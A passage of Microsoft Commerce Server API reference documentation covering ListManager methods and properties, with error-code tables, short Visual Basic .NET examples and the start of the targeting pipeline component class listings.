[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
[C#]
listID
An object that contains the ID or name of the list.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the UserFlags attribute.

[C#] This method returns an int used to return the UserFlags attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The UserFlags attributes are for use by applications external to List Manager. List Manager stores the flags that were passed in at the time a list was created, but does not interpret the value of the UserFlags attributes.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetOperationInfo Method (PIA)

Use this method to retrieve a Recordset object containing columns describing the specified list operation.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetOperationInfo(
  varOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetOperationInfo(
  object varOpID
);

Parameters

[Visual Basic .NET]
varOpID
An Object that contains the Operation ID.
[C#]
varOpID
An object that contains the Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object containing the operation information.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return the operation information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about the returned Recordset object, see ListManager.GetOperations.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetOperations Method (PIA)

Use this method to enumerate all operations known to the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetOperations() As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetOperations();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains information about the operations known to this instance of the ListManager object.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return information about the operations known to this instance of the ListManager object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

This method returns an instance of a read-only Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | NVARCHAR(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | int | Additional column that stores any extra parameters involved in the operation.
op_list_param2 | int | Additional column that stores any extra parameters involved in the operation.
op_list_table | NVARCHAR(256) | Table name (ExportToSql type operations only).
op_progress | int | Unused.
op_status | smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | datetime | Date/time the operation completed or was aborted.
op_time_start | datetime | Date/time the operation started.
op_type | int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)
[C#]

This method returns an instance of a read-only ADODB26Lib.Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | Int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | NVARCHAR(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | Int | Additional column that stores any extra parameters involved in the operation.
op_list_param2 | Int | Additional column that stores any extra parameters involved in the operation.
op_list_table | NVARCHAR(256) | Table name (ExportToSql type operations only).
op_progress | Int | Unused.
op_status | Smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | Datetime | Date/time the operation completed or was aborted.
op_time_start | Datetime | Date/time the operation started.
op_type | Int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.CancelOperation


ListManager.Initialize Method (PIA)

Use this method to initialize the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Initialize(
 bstrConnStr As String,
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Initialize(
 string bstrConnStr,
);

Parameters

[Visual Basic .NET]
bstrConnStr
A String that contains the connection string for the database to which List Manager will connect.
[C#]
bstrConnStr
A string that contains the connection string for the database to which the List Manager will connect.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400002 | The ListManager object has already been initialized and may not be re-initialized.
&H8C400001 | Failed to establish database connection.
 | Error while executing SQL/ADO operation.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400002 | The ListManager object has already been initialized and may not be re-initialized.
0x8C400001 | Failed to establish database connection.
0x8C400003 | Error while executing SQL/ADO operation.

Remarks

Initialize the ListManager object before calling any other ListManager object method or property.

Initializing connects the ListManager object to a database. If the database does not contain the tables and procedures required by the ListManager object, they are created.

A ListManager object can be connected to only one database. To connect to a different database, create a new instance of a ListManager object.

[Visual Basic .NET]

Example

oListManager.Initialize ("Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.ExportToSQL


ListManager.RemoveUserFromMailingList Method (PIA)

Use this method to remove a user from a mailing list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub RemoveUserFromMailingList(
  listID As Object,
  UserEmail As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void RemoveUserFromMailingList(
  object listID,
  string UserEmail
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
UserEmail
A String that contains the e-mail address of the user.
[C#]
listID
An object that contains the ID or name of the list.
UserEmail
A string that contains the e-mail address of the user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400019 | The operation requires a static list and the specified list is dynamic.
&H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400019 | The operation requires a static list and the specified list is dynamic.
0x8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.RemoveUserFromMailingList _
 ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", JaneUser@somewhere.com)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Rename Method (PIA)

Use this method to rename a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Rename(
 listID As Object,
 newListName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Rename(
 object listID,
 string newListName
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list to be renamed.
newListName
A String that contains the new name for the list.
[C#]
listID
An object that specifies the ID or name of the list to be renamed.
newListName
A string that contains the new name for the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400007 | The specified list has already been created
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400007 | The specified list has already been created
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The new name must not be the same as any existing list name.

[Visual Basic .NET]

Example

oListManager.Rename ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "Tequila")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.SetDesc Method (PIA)

Use this method to provide a new description for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub SetDesc(
 listID As Object,
 newListDesc As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void SetDesc(
 object listID,
 string newListDesc
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list.
newListDesc
A String that contains the description to be associated with the list.
[C#]
listID
An object that specifies the ID or name of the list.
newListDesc
A string that contains the description to be associated with the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.SetDesc(listID, newListDesc)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.SetListProperty Method (PIA)

Use this method to set a property of a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub SetListProperty(
  listID As Object,
  listPropertyName As String,
  ListProp As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void SetListProperty(
  object listID,
  string listPropertyName,
  object ListProp
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
listPropertyName
A String that contains the property name (column of the lm_master table).
ListProp
An Object that contains the value to set the property.
[C#]
listID
An object that contains the ID or name of the list.
listPropertyName
A string that contains the property name (column of the lm_master table).
ListProp
An object that contains the value to set the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
&H8C400006 | The specified list does not exist.
&H8C400013 | The specified list property cannot be changed after the list has been created.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
0x8C400006 | The specified list does not exist.
0x8C400013 | The specified list property cannot be changed after the list has been created.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.
[Visual Basic .NET]

Example

oListManager.SetListProperty "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_userflags", 12)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Subtract Method (PIA)

Use this method to subtract one mailing list from another mailing list, and to place the result in a third list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Subtract(
 srcList As Object,
 lessList As Object,
 resList As Object,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Subtract(
 object srcList,
 object lessList,
 object resList,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the list from which elements will be subtracted.
lessList
An Object that contains the ID or name of the less list.
resList
An Object that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
srcList
An object that contains the ID or name of the list from which elements will be subtracted.
lessList
An object that contains the ID or name of the less list.
resList
An object that contains the ID or name of the list into which the results of the subtraction operation will be placed.
errLimit
An int that is not used.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

This method keys on the rcp_email column, and therefore both the source (srcList parameter) and less (lessList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). Records from the source list that do not have duplicate e-mail addresses (rcp_email) in the less list are copied to the result (resList parameter) list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the subtraction operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.Subtract ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Union Method (PIA)

Use this method to produce a union of two mailing lists, and to place the result in a third mailing list. A union is a combination of the two lists with any duplicates eliminated.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Union(
 srcList As Object,
 addList As Object,
 resList As Object,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Union(
 object srcList,
 object addList,
 object resList,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the source list.
addList
An Object that contains the ID or name of the add list.
resList
An Object that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
srcList
An object that contains the ID or name of the source list.
addList
An object that contains the ID or name of the add list.
resList
An object that contains the ID or name of the list into which the results of the union operation will be placed.
errLimit
An int that is not used.
bAsync
An int that specifies whether the copy operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column, and therefore both the source (srcList parameter) and add (addList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). All the records from the source list are copied to the result (resList parameter) list. All records from the add list that do not have duplicate e-mail addresses (rcp_email) in the source list are also copied to the result list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the union operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.Union ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.WaitOnOperation Method (PIA)

Use this method to wait until an operation is complete or a specified time period has elapsed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub WaitOnOperation(
 varOpID As Object,
 Optional timeout As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void WaitOnOperation(
 object varOpID,
 int timeout
);

Parameters

[Visual Basic .NET]
varOpID
An Object that specifies the ID of the operation on which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout
An optional Integer that specifies a timeout. This method returns either when the specified operation completes or when the number of seconds specified by the timeout parameter has elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
[C#]
varOpID
An object that specifies the ID of the operation on which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout
An int that specifies a timeout. This method returns either when the specified operation completes or when the number of seconds specified by the timeout parameter has elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400004 | The operation ID does not represent a currently running operation.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400004 | The operation ID does not represent a currently running operation.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method cannot be called from a scripting language such as VBScript or JScript on an ASP page. ASP pages must use alternative techniques when dealing with asynchronous operations and should never wait on them explicitly.

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

[Visual Basic .NET]

Example

oListManager.WaitOnOperation ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
  900)

See Also

ListManager Class


ListManager Properties (PIA)

Properties

Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Integer | Stores the current status of the ListManager object. This property is read-only.


ListManager.ConnectionString Property (PIA)

The ConnectionString property is a read-only String that contains the database connection string List Manager uses to store lists. This property is set by the Initialize method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property ConnectionString As String
[C#]
public string ConnectionString {get; }

Property Value

[C#] Contains the database connection string that List Manager uses to store lists.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Status Property (PIA)

The Status property is a read-only Integer that contains the ListManager object status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property Status As Integer
[C#]
public int Status {get; }

Property Value

[C#]

Contains the ListManager object status.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The following table shows the valid status codes and their descriptions.

Status | Value | Description
LMSTATUS_NEW | 0 | The ListManager object has been created but is not yet initialized.
LMSTATUS_READY | 1 | The ListManager object has been created and successfully initialized.
LMSTATUS_ERROR | -1 | The ListManager object failed to initialize.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Targeting.PipelineComponents namespace.

Class | Description
AddAttachments | Provides a user interface to the configuration data for the AddAttachments object.
AdvertisingNeedsOfDelivery | Provides a user interface to the configuration data for the AdvertisingNeedsOfDelivery object.
CheckOptOut | Provides a user interface to the configuration data for the CheckOptOut object.
ComposeDMLMessage | Provides a user interface to the configuration data for the ComposeDMLMessage object.
CreateUPMCookie | Provides a user interface to the configuration data for the CreateUPMCookie object.
EvalTargetsGroup | Provides a user interface to the configuration data for the EvalTargetsGroup object.
FilterContent | Provides a user interface to the configuration data for the FilterContent object.
FormatTemplate | Provides a user interface to the configuration data for the FormatTemplates object.
HistoryPenalty | Provides a user interface to the configuration data for the HistoryPenalty object.
ISSAppendToLog | Provides a user interface to the configuration data for the ISSAppendToLog object.
LoadAdvertisements | Provides a user interface to the configuration data for the LoadAdvertisements object.
LoadCampaignsCommon | Provides a user interface to the configuration data for the LoadCampaignsCommonObject object.
LoadDiscounts | Provides a user interface to the configuration data for the LoadDiscounts object.
LoadHistory | Provides a user interface to the configuration data for the LoadHistory object.
LRUCacheFlush | Provides a user interface to the configuration data for the LRUCacheFlush object.
RecordEvent | Provides a user interface to the configuration data for the RecordEvent object.
RecordHistory | Provides a user interface to the configuration data for the RecordHistory object.
SaveHistory | Provides a user interface to the configuration data for the SaveHistory object.
ScoreDiscounts | Provides a user interface to the configuration data for the ScoreDiscounts object.
SelectWinners | Provides a user interface to the configuration data for the SelectWinners object.
SendPrecomposedMessage | Provides a user interface to the configuration data for the SendPrecomposedMessage object.
ThrottleDMLPerformance | Provides a user interface to the configuration data for the ThrottleDMLPerformance object.
VerifyMessageBody | Provides a user interface to the configuration data for the VerifyMessageBody object.
VerifyRecipient | Provides a user interface to the configuration data for the VerifyRecipient object.
WriteEvents | Provides a user interface to the configuration data for the WriteEvents object.

For more information about pipeline components, see the Pipeline Component Reference.


AddAttachments Class (PIA)

Provides a user interface to the configuration data for the AddAttachments object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


AddAttachments Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


AddAttachments.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

[Visual Basic .NET]

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

AddAttachments Class


AddAttachments.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

AddAttachments Class


AdvertisingNeedsOfDelivery Class (PIA)

Provides a user interface to the configuration data for the AdvertisingNeedsOfDelivery object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


AdvertisingNeedsOfDelivery Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


AdvertisingNeedsOfDelivery.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

